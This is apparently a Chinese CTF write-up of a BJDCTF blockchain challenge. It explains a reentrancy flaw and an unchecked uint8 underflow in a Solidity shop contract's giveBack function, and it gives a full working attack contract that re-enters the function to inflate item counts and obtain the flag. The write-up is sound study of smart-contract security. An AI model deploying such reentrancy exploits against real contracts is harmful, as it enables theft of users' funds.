BJDCTF区块链题目解析

复盘一下BJDCTF的区块链的题目,总体来说不算很难,因为给了合约源码,回顾一下知识点~

和第一题一样,这道题也给了我们源码和合约地址,那我们先分析代码

先看getFlag()函数

function getFlag() public view returns (string){
        if(users[msg.sender][5] >= 1){
            return flag;
        }
        else{
            return "%e7%88%ac%ef%bc%81";
        }
    }

可以很明显的看到,要拿到flag,要求是users[msg.sender][5]>=1

那我们回头去看看user的定义

mapping (address => mapping(uint8 => uint8))users;

同时合约还定义了一个对象叫goods

mapping (uint8 => good) goods;

根据合约名称是xiaomaibu,我们推测这个对象是商品

从它的结构可以看出

struct good{
        string name;
        uint256 value;
    }

它有两个属性,一个是名称,一个是价格

通过合约给了一个showgoods()的函数,我们把合约部署到地址之后,可以查到所有的商品

0: string: 喂龙辣条 value:1
1: string: Taqini的猫猫表情包 value:153(0x99)
2: string: imagin小黑屋的钥匙 value:39321(0x9999)
3: string: Taqini独家auto_pwn.py value:10066329(0x999999)
4: string: BJD{chui_bao_Taqin!} value:2576980377(0x99999999) //flag是假的
5: string: 锤爆Taqini!value:659706976665(0x9999999999)

可以理解到,要拿到flag,你就得买下最贵的第五件商品

然后看一下几个关键的操作函数

function buy(uint8 index) public returns (bool){
        require(index <= 5 && index >= 0);
        uint256 cost = goods[index].value;
        require(cost > 0);
        require(getCredit(msg.sender) >= cost);
        require(getCredit(msg.sender) - cost >= 0);
        credit[msg.sender] -= cost;
        users[msg.sender][index] += 1;
        return true;
    }

    function giveBack(uint8 index) public returns (bool){
        require (index <= 5);
        require (users[msg.sender][index] > 0);
        uint256 price = goods[index].value;
        require (address(this).balance > price);
        if(price > 10000 wei){
            price = 1 wei;
            // 中间商 Taqini 赚差价~
        }
        msg.sender.call.value(1)();
        users[msg.sender][index] --;
        transfer(this, msg.sender, price);

    }

buy函数是购买商品,giveBack函数可以退回商品

问题就出在这个giveBack函数上

我们仔细看可以发现,giveBack是先把钱退给用户,然后再改变用户的存储

但是当我们执行

msg.sender.call.value(1)();

这个会调用智能合约合约默认的一个函数fallback(),这就会导致重入攻击

然后接下来我们发现他进行了–,但是没有做任何溢出检查,那我们就可以利用下溢,完成攻击

一开始商品数量为1,进行一次操作–,变成0,然后用重入攻击,再–一次,就变成0-1,就会变成uint8里最大的数

攻击合约:

contract exp{
    XiaoMaiBu target;
    uint8 num;
    uint8 times;
    constructor (address addr){
        target = XiaoMaiBu(addr);
    }

    function getFlag() public payable returns (string){
        target.deposit.value(1)();
        for(uint8 i=0;i<5;i++){
            num = i;
            attack();
            attack();
        }
        target.buy(5);
        return target.getFlag();
    }

    function flag() public view returns (string){
        return target.getFlag();
    }

    function attack() public payable{
        times = 1;
        target.buy(num);
        target.giveBack(num);
        target.giveAllBack(num);
    }

    function getMyCredit() public view returns (uint256){
        return target.getCredit(this);
    }

    function getMyGood(uint8 index) public view returns (uint8){
        return target.getMyGood(index);
    }

    function() public payable{
        if(times > 0){
            times --;
            target.giveBack(num);
        }

    }

}

部署到题目给的地址,并支付1wei后即可getflag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇